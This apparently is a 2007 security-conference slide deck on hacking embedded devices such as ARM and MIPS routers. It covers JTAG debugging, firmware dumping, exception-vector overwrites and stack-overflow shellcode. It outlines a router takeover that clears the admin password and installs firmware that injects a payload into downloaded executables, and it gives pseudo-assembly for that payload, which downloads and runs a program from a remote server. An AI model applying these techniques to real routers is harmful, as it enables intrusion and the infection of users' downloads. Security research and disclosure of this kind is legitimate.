

EXPLOITING EMBEDDED **SYSTEMS**

THE SEQUEL!

Barnaby Jack

What Is An Embedded System?

- × Simple definition **- A computer that doesn't look like a computer**
- Attackable devices are everywhere exploitation doesn't end at the home PC.
- \mathbb{R}^n Any network-connected device is a target

Embedded Architectures

- $\mathcal{C}^{\mathcal{A}}$ MIPS and ARM are common in consumer embedded devices
- $\overline{}$ XScale, PowerPC are often used in higher end equipment
- \mathbb{R}^2 Most cores can be debugged via JTAG

Typical Circuit

The ARM Architecture

- \blacksquare RISC based architecture
- \mathbf{r} Load/store architecture
- Fixed length 32 bit instructions
- Auto-decrement and auto-increment addressing modes
- Can perform shift and ALU operation in same instruction
- П **Conditional execution on all instructions**
- F Ability to support THUMB mode (16 bit instructions)

The MIPS32 Architecture

- \blacksquare RISC architecture
- \mathbf{r} Load/store architecture
- $\mathcal{L}_{\mathcal{A}}$ 32 bit instruction length
- \Box 32 general purpose registers
- \mathbb{R}^3 5 Stage pipeline (4k family)
- \Box Support for Enhanced JTAG (EJTAG)

The BDI2000

JTAG Support for:

- $\mathcal{C}^{\mathcal{A}}$ **MIPS32/64**
- $\mathcal{L}_{\mathcal{A}}$ **ARM 7/9/9E/11**
- $\mathcal{L}_{\mathcal{A}}$ **EXSCALE**
- \mathbf{r} **PowerPC**
- **Ethernet host interface**
- **Supports GDB protocol**
- **Fast and reliable**

The JTAG Interface

5 pin serial interface embedded on chip

TDI (Test Data In) TDO (Test Data Out) TCK (Test Clock) TMS (Test Mode Select) TRST (Test Reset) - optional

Allows full debugging of the processor core:

- $\mathcal{L}_{\mathcal{A}}$ Read/write memory
- Read/write registers
- Trace and single step
- T. **Breakpoints**

The JTAG Interface – ARM/XSCALE

- $\overline{\mathbb{R}^2}$ ARM supports both a 14 and 20 pin JTAG header
- Headers may be on-board the circuit
- If no header on-board, interface must be custom built

The EJTAG Interface – MIPS32/64

- $\mathcal{L}_{\mathcal{A}}$ MIPS cores implement the EJTAG standard
- $\mathcal{L}_{\mathcal{A}}$ EJTAG 2.5+ uses a 14 pin header

The Serial Interface

- \blacksquare Support for UART on most embedded cores
- \mathbb{R}^n TTL signals need to be converted to RS232 with MAX3232 or similar

The serial interface is used for:

- $\mathcal{L}_{\mathcal{A}}$ Viewing debug messages from the device
- **View/change settings on the device**
- **Viewing bootloader messages**
- $\overline{}$ Debugging and memory probing

The Serial Interface

MAX3232 Schematic

Locating the JTAG points

Typical scenarios:

- **Full JTAG header in place**
- JTAG points but no header
- $\overline{}$ No JTAG points (solder directly to chip)

Voltmeter must be used to trace connections.Use pin-out from vendor (if available).

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 13

Connecting the BDI2000

- **Use solder wick to remove JTAG solder points**
- **Solder in 14 or 20 PIN IDC header**
- **If no header in place make external interface** (follow schematics)
- **Read vendor pin-out for recommended schematic**
- **Replace resistors if removed**
- Some Linksys MIPS routers have a 12 pin header, same as MIPS 14 pin but missing the VCC line

Connecting the BDI2000

Watchdog Timers

- Sets a counter, timer must be kicked before counter runs out
- **May be hardware or software based**
- **Sends a reset signal when counter reaches 0**
- Watchdog timer must be disabled before debugging

Defeating the Watchdog

- Software based timers write to watchdog register or byte patch firmware to disable check (trap vector 0 to find)
- **Hardware based timers lift pin to prevent reset** signal being sent
- Sometimes watchdog can be disabled via serial interface

With the watchdog disabled you can debug freely

Finding Hardware Targets

- $\mathcal{L}_{\mathcal{A}}$ FCC ID search (http://www.fcc.gov/oet/ea/)
- \mathbb{R}^n Includes photos of circuit internals
- $\overline{}$ Helpful for determining processor
- $\overline{}$ Determine JTAG ports
- × Good targets? **Anything Internet connected!**

…

Debugging and Reversing

- **Flash onboard firmware of BDI2000 for target CPU**
- $\mathcal{L}_{\mathcal{A}}$ Set up BDI configuration file:

Debugging and Reversing

Retrieving the firmware image:

- \blacksquare Read flash chip via JTAG
- \mathbf{r} Download online firmware
- Read chip externally SMD rework, chipqwik

Image is usually packed/encrypted:

- Dump memory image after decryption
- Similar technique to packed x86 exe files
- Decrypted dump can then be loaded in IDA

Debugging and Reversing

- $\mathcal{L}_{\mathcal{A}}$ Decrypted image can be dumped via the BDI interface
- Start tftp server on host to receive decrypted image
- \blacksquare "DUMP <ADDR> <SIZE> <FILE>"
- \mathbb{R}^3 Image can then be disassembled in IDA

Dumping decrypted image - demonstration

Debugging and Reversing

- $\mathcal{L}_{\mathcal{A}}$ BDI2000 speaks GDB protocol
- Any supported processor core can be debugged over remote gdb
- gdb must be compiled for specific processor
- Other embedded debuggers are mostly… bad

Debugging ROM code - demonstration

New Attack Classes

- Exploitable NULL pointer vulnerabilities
- This common wrapper returns a NULL pointer if passed 0
- But what if 0x0 is mapped in memory??

```
void *xmalloc(size_t amt) { if (amt != 0) {
        void *block = malloc(amt);
  if (block == NULL) {
        fprintf(stderr, "out of memory\n");
  exit(EXIT_FAILURE); }
  return block;
  }
  return NULL;
  }
```


New Attack Classes

What is located at address 0 on ARM platforms?

New Attack Classes – Vector Rewrite Attack

- **Exception vectors on ARM architectures are (by default) mapped** starting at address 0
- $\mathcal{L}_{\mathcal{A}}$ Exception vectors are writable
- Exception vectors are simply branch instructions
- $\mathcal{L}_{\mathcal{A}}$ Overwrite vector branch instructions?

Remote Code execution

New Attack Classes

- $\overline{}$ The NULL overwrite is 100% reliable
- $\mathcal{L}_{\mathcal{A}}$ No offsets needed
- $\mathcal{L}_{\mathcal{A}}$ Vector table can be copied and replaced
- \mathbb{R}^3 Simply overwrite with branch to code
- $\overline{}$ Increases attack opportunities two-fold

New Attack Classes - Prevention

- **Protect vectors from writing via MMU**
- **Remap vectors to high addresses**
- **ARM9 processors drive HIVECS processor pin HIGH**
- XSCALE Set bit 13 of the ARM control register to 1
- Vectors will be mapped at 0xffff0000

Locating Vulnerabilities

Router attack points:

- **Wireless use lorcon library for injecting packets**
- External interface (IDS, tcp stack)
- LAN side (UPNP, web server, etc)
- $\mathcal{L}^{\mathcal{L}}$ Vulnerabilities that are near-dead in the PC realm, are abundant
- F Check malloc returns! \odot

Party like it's 1999!

System-On-Chip Designs

- \mathbb{R}^2 Many chipset companies offer SoC designs with code integrated onchip
- $\mathcal{L}_{\mathcal{A}}$ The API functions on-chip may then be called by the developer
- Wireless SoC designs are very popular
- SoC's are used on most home routers

A flaw in the wireless code would affect many devices!

…and patching would be interesting!

Exploitation

- Embedded stack overflows are reliable few firmware revisions
- **Overwrite \$pc, redirect to attacker code -- standard fare!**
- \Box Can be very reliable on ARM as \$pc can be operated on directly
- Examples: redirect \$pc to:

ARM:mov \$pc, <register> MIPS:

j <register>

- The ARM processor supports THUMB mode
- Very helpful for writing shellcode
- ARM mode instructions are 32 bit, word aligned
- THUMB mode instructions are 16 bit, half-word aligned
- Results in very small code, and is easy to avoid NULL bytes
- П Switch to THUMB mode by executing the BX instruction with state bit cleared

ARM Instructions

Exploitation

Two Step Exploitation

1 – Send REMOTE exploit

 \mathbb{R}^2 Shellcode: clear administrator password, configure router for remote access, save to flash memory.

2 – Via remote access - Upload modified firmware to router

 $\overline{}$ Monitor packets, inject hostile code.

Initial exploit – *REMOTE* attack shellcode

- $\mathcal{L}_{\mathcal{A}}$ ■ BX to THUMB mode
- **The State** Overwrite buffer that stores administrator password with NULL bytes
- Set flag that enables WAN access to router
- $\overline{}$ Write to flash memory
- F Patch save_settings routine to soft reset at end of call (mov PC, #0)
- F Return to ARM mode
- Call save_settings

Set remote config flag – WAN HTTP access enabled

Admin pw stored at 0x27c950 – overwrite with 0's

Exploitation

- Successful exploit will allow remote admin access to router with no password
- **Remote firmware upgrade can now be performed on** router
- **Upgrade firmware… with a few modifications** ☺

Firmware Modifications

First Option:

- To apply modified firmware, manual en/decrypter must be written.
- Checksum field must also be calculated
- **Easy to find by live debugging "upload firmware" code.**
- Breakpoint the checksum comparison

Second Option:

- Bootloader code may be overwritten to patch code after decryption
- **Only checksum field will need to be updated**
- **No need to reverse encryption code**

Firmware Patch

Considerations:

- **Need access to all incoming packets**
- **Need a pointer to IP header**

Solution:

- **Use the routers defenses against it**
- **Insert firmware patch where IP header is checked for** malformed data
- **Overwrite with branch instruction to new code**
- **Insert custom code into firmware slack space**

Injector 2.0

- Monitors HTTP downloads
- **Injects and modifies PE header of executable** download
- **Executes original executable and appended** executable
- **Only one packet required to infect executable**
- **Injector will run on any ARM based router**

Injector 2.0

- Watch for downloads over port 80
- Check for executable download (check for MZ header)
- **Io all is executable a PE file?**
- **Inject payload into DOS stub**
- **Redirect PE entry-point to DOS stub**
- Change BaseOfCode in PE header so no DEP warnings
- **Re-checksum TCP packet**

Injector 2.0 - Payload

- 100 byte payload injected into DOS stub area
- **Payload downloads and executes an executable**
- **Code returns to the original caller after executing**

```
;psuedo code of payload
pushad
call get_kernel_base
push 'WinExec'
call get_proc_addr
push 'UNC path of executable' ;path can be remote webdav server
call WinExecpopad
push 0xdeadbeef
OEP equ $-4 ;overwritten with original entry-point
ret ;return to host executable
```


Exploit Demonstration

DEMO!

Prevention

- **Remove JTAG traces on production devices**
- **Remove UART traces on production devices**
- **No debugging functionality needs to remain!**
- **Removing resistors isn't sufficient**
- **Disabling JTAG by driving TRST low isn't sufficient**

MAP VECTORS HIGH!!!!

Summary

- \mathbb{R}^n Security flaws are abundant on embedded devices!
- **Security needs to reach further than the home PC**
- Insecure devices pose a threat to the entire network
- **Hardware vendors must take security into consideration**

Questions?

